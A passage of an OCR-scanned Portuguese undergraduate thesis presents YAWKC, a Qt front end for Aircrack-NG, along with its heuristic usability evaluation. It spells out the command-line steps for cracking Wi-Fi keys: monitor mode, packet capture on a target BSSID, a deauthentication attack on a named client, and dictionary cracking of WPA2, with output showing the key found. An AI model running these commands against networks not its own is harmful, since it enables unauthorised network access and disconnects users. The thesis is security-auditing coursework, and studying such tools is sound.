botdo que ird executar a busca por dispositivos de rede sem fio. Ndo € necessario

conhecimento prévio das interfaces presentes. Ao clicar, é apresentada uma lista

com as interfaces das quais o usudrio deverd escolher uma e ativar o modo monitor,

clicando no botao “Modo Monitor”. Ao fim da operagdo o usudrio deve selecionar

a interface em modo monitor e seguir para o préximo passo. Caso o usudrio nio
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escolha uma interface em modo monitor, as abas subsequentes ficam bloqueadas

e, portanto, sua utilizacdo fica impossibilitada.

i Y.A.W.K.C. )

Ajuda | Procurar Dispositivos | Procurar por Redes sem Fio | Injecdo de Pacotes = Quebrar Senha

Escanear Interfaces de Rede: | ok |

Interfaces: | mono il
Infrormacodes
Interface: mon0
Radio: 802.11bg
Poténcia: 20 dBm
MAC: 00-EO0-4C-00-F4-A8-30-30-00-00-00-00-00-00-00-00

Modo: Monitor

Figura 27: Procura por dispositivos - YAWKC.

O mesmo processo executado no programa Airmon-NG exige que o usuario
conheca previamente suas interfaces de rede sem fio através dos comandos
ifconfig e iwconfig. Supondo que a interface escolhida pelo usudrio para a
execucdo de toda a tarefa seja a interface mon0, executa-se o comando airmon-ng
start wlan0 como superusudrio. A resposta do comando € mostrada na Figura
28.

Com o modo monitor ativado € possivel entdo procurar por redes sem fio e
iniciar a captura dos pacotes. No YAWKC a procura da rede alvo é feita clicando

no botdo “Procurar Redes” que executa uma busca por quinze segundos e entdo



Interface

wlan®

Chipset

RTLE187

Driver

rt18187 - [phy@]
(monitor mode enabled on mon@)

Figura 28: Resposta ao comando airmon-ng start wlanO.
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retorna para o usudrio uma lista com todas as redes encontradas. O botdo destinado

a busca de redes entfo € desativado. Seleciona-se a rede desejada e entdo clica-se

no botdo “Capturar Pacotes”(Figura 29).

e vAawke. |

Redes

Ajuda | Procurar Dispositivos | Procurar por Redes sem Fio ‘ Injecio de Pacotes | Quebrar Senha |

AGYO-CDNOVA-ADL
Agyo-CPT-AD2
Agyo-Coahb-A03
FLNETS
GT_CIDNOVAZ
GT_ICBEU
GT_ICBEUH

Locsul

MLA-08 VERTICAL
MLA-09 VERTICAL
REDECPT-S
REDENORTE
REDENORTE2
Sirius Black
Torre_do_Mago
VoNo

al

Informacgoes

Essid: Link

Bssid: D8:5D:4C:E2:1B:B0
Speed: 54

Canal 11

Seguranca: WPA2WPA

Poténcia:  -30

Capturar Pacotes

Figura 29: Procura por redes sem fio - YAWKC.

A procura de redes pode ser executada por linha de comando tambémj por um

superusudrio. Supondo que a interface em modo monitor do usudrio em questao

é amon0, usa-se o comando iwlist mon0 scan ou pelo comando airodump-ng

mon0 (Figura 30).
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CH 14 ][ Elapsed: 4 s ][ 2011-85-18 01:53

BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
00:0C:42:68:34:4C -52 2 [¢] [¢] 5 11 . OPN REDEN
00:23:CD:DF:D1:E@ -49 3 [¢] ® 3 54 . WPAZ TKIP PSK Torre
O0:E@:4C:F4:C4:C5 -59 3 2] 2] 3 11 0PN VoNo
00:0C:42:69:DD:46 -58 2 [¢] 8 2 11 . OPN REDEC
D8:5D:4C:E2:1B:BO -32 2 2] B 11 54e. WPAZ CCMP PSK Link
00:0C:42:69:DD:33 -60 3 1 @ 7 11 . OPN REDEC
00:02:6F:45:D6:9A -52 3 [¢] ® 9 11 0PN Agyo-
00:15:6D:65:1F:2D -64 2 [¢] [¢] 1 11 . OPN FLNET
00:0C:42:39:DB:6D -57 4 1 8 1 11 . OPN FLNET
00:0C:42:69:54:B9 -53 5 [¢] [¢] 1 11 . OPN FLNET
BSSID STATION PWR  Rate Lost Packets Probes
00:0C:42:69:DD:33 00:27:22:12:BD:04 -1 11 - © 4] 1
00:0C:42:39:DB:6D 00:12:0E:BC:C3:AF -1 11 - @ ] 1

Figura 30: Procura por redes sem fio em modo texto.

J4 a captura se torna um pouco mais complicada uma vez que o usudrio
deve conhecer os pardmetros da rede que deseja capturar os pacotes. Executa-se
o comando airodump-ng -c¢ 11 -bssid D8:5D:4C:E2:1B:B0 -w /tmp/dump
—output-format pcap mon0 para obter o0 mesmo resultado do clique no botdo
do YAWKC , no qual a opcdo -c pede que seja passado o canal da rede como
parametro, -bssid o endereco MAC do access point, —w o local onde serd salvo
o0 arquivo contendo as capturas e —output-format o formato do arquivo. Por dl-
timo € passada a interface em modo monitor. A resposta a esse comando pode ser
conferida na Figura 31.

O préximo passo consiste em atacar a rede injetando pacotes. O programa
Aireplay-NG possui nove tipos de ataques de injecdo de pacotes, dos quais foram
escolhidos os trés mais simples e mais usados para serem inseridos no YAWKC.
Estes ataques sdo suficientes para criar as condi¢des necessdrias a obtengdo de

uma chave WEP ou WPA em uma rede com usudrios conectados. No YAWKC,



CH 11 ][ Elapsed: 4 s ][ 2811-85-10 ©1:57

BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH E
D8:5D:4C:E2:1B:BO -28 0] 71 56 7 11 54e. WPA2 CCMP PSK L
BSSID STATION PWR  Rate Lost Packets Probes
D8:5D:4C:E2:1B:B@ 00:18:DE:35:E2:C5 -4 8 -54e 3 24

Figura 31: Captura de pacotes em modo texto.
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o usudrio deve escolher uma estacio conectada a rede e preencher campo “MAC

de um Cliente”, escolher um tipo de ataque e clicar no botdo “Injetar Pacotes”,

conforme ilustrado na Figura 32.

W Y.ALWLK.C.

)

Teste de Injecao de Pacotes

Dispositivo: monQ | Testar Injecdo de Pacotes |
Ataques:
@ Desautenticacao () Autenticacdo Falsa ) Reinjecdo de requisicées ARP

Mac Local: 00-E0-4C-00-F4-A8

Mac de um Cliente | 00:18:DE:35:E2:C5
| Injetar Pacoten

Clique para iniciar um ataque de injecdo de pacotes.

Ajuda | Procurar Dispositivos | Procurar por Redes sem Fio | Injecéo de Pacotes | Quebrar Senha

Figura 32: Tela de Injecao de Pacotes - YAWKC.

O usudrio também tem a op¢do de esperar o actimulo de 5000 pacotes

para quebrar uma chave WEP ou entdo capturar um 4-way-hadshake no caso
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do WPA. O comando em modo texto equivalente ao botdo do YAWKC que
injeta pacotes de desautenticacdo de estacdes € aireplay-ng -deauth 15 -a

D8:5D:4C:E2:1B:B0 -c 00:18:DE:35:E2:C5 mon0, no qual:

e D8:5D:4C:E2:1B:B0 € o endereco MAC do access point.

e 00:18:DE:35:E2:C5 € o endereco MAC de uma estacdo a ser desautenti-

cada.

e mon0 € a interface Wi-Fi em modo monitor.

A resposta a esse comando, também presente no YAWKC ¢é mostrada na

Figura 33.

01:59:26 Waiting for beacon frame (BSSID: D&:5D:4C:E2:1B:B@) on channel 11

81:59:27 Sending 64 directed DeAuth. STMAC: [©0:18:DE:35:E2:C5] [121]124 ACKs]
01:59:28 Sending 64 directed DeAuth. STMAC: [00:18:DE:35:E2:C5] [126]|118 ACKs]
01:59:28 Sending 64 directed DeAuth. STMAC: [©0:18:DE:35:E2:C5] [127|117 ACKs]
81:59:29 Sending 64 directed DeAuth. STMAC: [@0:18:DE:35:E2:C5] [124|114 ACKs]
01:59:30 Sending 64 directed DeAuth. STMAC: [©0:18:DE:35:E2:C5] [124|119 ACKs]
01:59:30 Sending 64 directed DeAuth. STMAC: [©0:18:DE:35:E2:C5] [136]118 ACKs]
81:59:31 Sending 64 directed DeAuth. STMAC: [@0:18:DE:35:E2:C5] [126|128 ACKs]
01:59:32 Sending 64 directed DeAuth. STMAC: [©0:18:DE:35:E2:C5] [121|118 ACKs]
01:59:33 Sending 64 directed DeAuth. STMAC: [©0:18:DE:35:E2:C5] [126]125 ACKs]
81:59:33 Sending 64 directed DeAuth. STMAC: [@0:18:DE:35:E2:C5] [128|119 ACKs]
81:59:34 Sending 64 directed DeAuth. STMAC: [©0:18:DE:35:E2:C5] [124|121 ACKs]
01:59:35 Sending 64 directed DeAuth. STMAC: [@©:18:DE:35:E2:C5] [10]|187 ACKs]
081:59:35 Sending 64 directed DeAuth. STMAC: [©0:18:DE:35:E2:C5] [ 0119 ACKs]
81:59:36 Sending 64 directed DeAuth. STMAC: [@0:18:DE:35:E2:C5] [ 6115 ACKs]
01:59:37 Sending 64 di[ected DeAuth. STMAC: [00:18:DE:35:E2:C5] [ ©]119 ACKs]

Figura 33: Resposta do ataque de desautenticacdo - YAWKC e Aircrack-NG.

Apés capturar os pacotes necessdrios, € hora de obter a chave. O usudrio
seleciona o tipo de criptografia (no YAWKC) e clica no botdo “Quebrar Senha”.
Caso a criptografia seja WPA, ha o diferencial que o usudrio deve escolher um

arquivo de diciondrio'?. A Figura 34 mostra a tltima tela do programa.

10 Arquivo contendo senhas em potencial.
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¢ YIA.W.K.C. &

Ajuda | Procurar Dispositivos | Procurar por Redes sem Fio | Injegdo de Pacotes | Quebrar Senha

Arquivo de Captura:

ftmp/dumpScan-01.cap ] | Arquivo |

) WEP(64bits/128bits) @ WPA-PSK/WPA2-PSK

Arquivo de Dicionario:

/homef/pedro/dicionario l | Arquivo |
Rede: Link
Senha:  lelou Chﬂ% | Quebrar senha |

Figura 34: Tela de Quebra de Senhas - YAWKC.

Novamente é possivel executar um comando em modo texto para executar a
obtencdo da chave. Para chaves WEP usa-se aircrack-ng -a 1 <arquivo de
captura> no qual a opcdo -a indica o tipo de criptografia (1 - WEP, 2 - WPA) e
passa-se ao fim do comando o nome do arquivo de captura. Para chaves WPA
ou WPA2 o comando € aircrack-ng -a 2 -w <diciondrio> <arquivo de
captura> passando como parametros do comando o tipo de criptografia, o arquivo
de diciondrio e o nome do arquivo de captura. A Figura 35 mostra o Aircrack-NG

ao quebrar uma senha WPA2.
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Aircrack-ng 1.0
[00:00:04] 556 keys tested (131.87 k/s)
KEY FOUND! [ lelouch77 ]
Master Key : F7 F4 95 34 FF 24 FE 68 CC 65 7B E7 00 E8 5C 2A

2A 7C 26 09 41 96 C9 BD 1B C7 AF A2 15 D& DF 5F

Transient Key : D9 09 94 D5 65 5A DB ©5 E3 E3 C1 78 18 B5 DF 52
DA 9D D3 1B 27 AC 5C 91 AB CE B9 7A EB 1@ 1E AC

51 44 67 85 63 D2 85 DC 26 A8 CC A9 E5 87 42 ED

EAPOL HMAC : 67 39 97 FF F6 CO 5A 13 47 8D 2B 49 A® 5A 23 F2
-~ ' ' [ -

Figura 35: Quebra de chave WPA do Aircrack-NG.

6.3 Avaliacao da Interface

Ap6s efetuada a avaliacdo heuristica apresentada na Sec¢do 5.3 os dados foram
tabelados e, a partir da tabela obtida, foi feito um gréafico para melhor apresentacio
dos dados.

Os critérios avaliados foram a frequéncia com que as heuristica eram afetadas
e a severidade das heuristicas assinaladas pelos avaliadores. Para andlise dos pro-
blemas de usabilidade da interface considerou-se a heuristica afetada com maior
severidade e a heuristica afetada o maior nimero de vezes segundo os avaliadores.
A Figura 36 apresenta o grafico com os dados obtidos pela avaliacdo.

Conforme o gréfico, pode-se inferir que as heuristica com maior severidade
(severidade 5) foram as de nimero 3, 7 € 9 que sdo respectivamente Controle
e liberdade para o usuario, Flexibilidade e eficiéncia de uso ¢ Auxiliar os

usuarios a reconhecer, diagnosticar e recuperar erros(ver Secdo 5.3). Estas
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M Severidade 1

M Severidade 2

Severidade 3

Frequéncia

B Severidade 4

M Severidade 5

Heuristica Afetada

Figura 36: Gréfico: Frequéncia das heuristicas afetadas e severidade das mesmas segundo os avali-
adores.
trés heuristicas foram afetadas com serveridade 5 na tela “Procurar por Redes sem
Fio” do YAWKC (Figura 37). O problema desta tela ocorre quando o usudrio se-
leciona uma rede sem fio e entdo inicia a captura de pacotes. O botdo de procura é
bloqueado, e o usudrio fica impossibilitado de executar uma nova procura e esco-
lher uma nova rede, ferindo as heuristicas de nimero 3 € 7. Além disso, o usudrio
nio recebe qualquer mensagem de erro durante este ocorrido, ferindo a heuristica
9.

Nota-se também que no grafico da Figura 36 a heuristica que mais assinalada
durante as avaliacdes foi a de nimero 10, Ajuda e documentacio. Os avaliadores
queixaram-se da localizagdo da tela de ajuda e também da forma como o texto foi

escrito.
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ik

Y.ALWIK.C.

3

Redes

AGYO-CDNOVA-ADL
Agyo-CPT-A02
Agyo-Coahb-A03
FLNET9
GT_CIDNOVA2
GT_ICBEU

GT_ICBEUH

Locsul

MLA-08 VERTICAL
MLA-09 VERTICAL
REDECPT-5
REDENORTE
REDENORTE2
Sirius Black
Torre_do_Mago
VoNo

Ajuda | Procurar Dispositivos | Procurar por Redes sem Fio | Injecdo de Pacotes = Quebrar Senha

Informacdes

Essid: Link

Bssid: D8:5D:4C:E2:1B:B0
Speed: 54

Canal 11

Seguranca: WPA2WPA

Capturar Pacotes |

Poténcia:  -30

Figura 37: Problema de Usabilidade. Ponto sem volta.

6.4 Distribuicao do YAWKC e Requisitos do Sistema

Para utilizar o YAWKC € necessédrio que alguns requisitos sejam cumpridos.

O usudrio deve utilizar uma distribuicdo GNU/Linux com o suite Aircrack-NG

devidamente instalado e com o drivers que suportam a utilizacdo da interface de

rede Wi-Fi em modo monitor e que também suporte injecio de pacotes (opcional).

E necessario também que o sistema possua as bibliotecas do Qt versdo 4.6 ou

superior instaladas e a interface de rede Wi-Fi suporte pelo menos o modo monitor.

Para a distribuicdo do YAWKC foi montada uma distribui¢do Linux usando

o SLAX como base, adicionando os médulos referentes ao Aircrack-ng e ao Qt
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4.7. O SLAX foi escolhido pelo fato de ser extremamente leve, pequena (250 MB)
além de ser uma distribuicdo live CD e live Pendrive'!.

O capitulo a seguir apresenta as conclusdes obtidas com o desenvolvimento
deste trabalho, bem como propostas para trabalhos futuros ainda baseado na

manutencdo da interface gréfica para o Aircrack-ng.

"Uma distribuicio Live CD aceita ser utilizada diretamente do CD sem a necessidade de ser
instalada no Hard Drive. A Live Pendrive tem a mesma caracteristica, sendo utilizada diretamente
do pendrive.
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7 CONCLUSOES E TRABALHOS FUTUROS

Este capitulo apresenta ao leitor as conclusdes alcangadas com o desenvolvi-
mento do trabalho em relacdo a interface grafica produzida. Na Secado 7.2 € apre-

sentada uma proposta para trabalho futuro.

7.1 Conclusoes

O objetivo do presente trabalho foi o estudo dos protocolos de seguranga e
a implementacdo de uma aplicagdo com interface grafica com o intuito entdo de
auditar chaves WEP e WPA de redes Wi-Fi.

A aplicacio foi desenvolvida com sucesso com o uso da linguagem C++ jun-
tamente com o framework Qt e o ambiente de desenvolvimento Qt Creator, que
facilitaram a criagdo da interface e a execucdo dos comandos do suite Aircrack-NG.
A interface encapsula comandos por vezes extensos, que constantemente sao digi-
tados errados pelo usudrio devido a dificuldade em memorizé-los. Mesmo execu-
tando a quebra de senhas quando corretamente ao ser utilizado no fluxo correto de
uma quebra de chaves WEP/WPA (ver o fluxograma da Figura 20), o YAWKC ap-
resentou alguns problemas de usabilidade quando efetuada uma avaliacdo heuris-
tica da interface proposta por (NIELSEN; MOLICH, 1990).

A aplicacdo ¢ destinada a todo o publico, porém € direcionada a usuarios com
conhecimentos basicos em redes sem fio. Por este motivo, ndo foram implemen-
tadas todas as opg¢des do Aircrack-NG, bem como os ataques mais avancgados.

Ao fim da implementacdo foi montada uma distribui¢do Linux para o uso do

programa desenvolvido. A distribuic@o funciona sem a necessidade de instalagdo
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no hard-drive do usudrio, bastando executar o boot a partir de um pendrive ou de
um CD.

Apesar de simples, e com alguns problemas de usabilidade, a interface atingiu
0 objetivo de encapsular completamente os comandos em modo texto, permitindo

também a inser¢do de novas funcionalidades e novos ataques.

7.2 Uma Proposta para Trabalho Futuro

Como trabalho futuro, propde-se inicialmente a corre¢do dos problemas de
usabilidade encontrados na interface. Ap6s este passo importante para os usudrios,
pode-se fazer uma atualizacdo da aplicacido YAWKC com a implementagdo de
todas as opgdes, e uso de todos os outros programas, da familia Aircrack-ng
tornando-a uma ferramenta mais genérica no uso de auditoria de redes Wi-Fi, e
nao somente destinada a quebra das senhas.

Pode-se ainda portar o programa para o uso em smartphones, desta vez usando
a linguagem Java ou o kit de desenvolvimento da plataforma. Porém para isso é
necessario que os drivers das interfaces de rede sem fio do dispositivo mével em
questdo suportem o modo monitor e a injecdo de pacotes, o que € necessirio a
captura de pacotes em qualquer canal e a criacdo de condi¢des que acelerem o

processo de captura, respectivamente.
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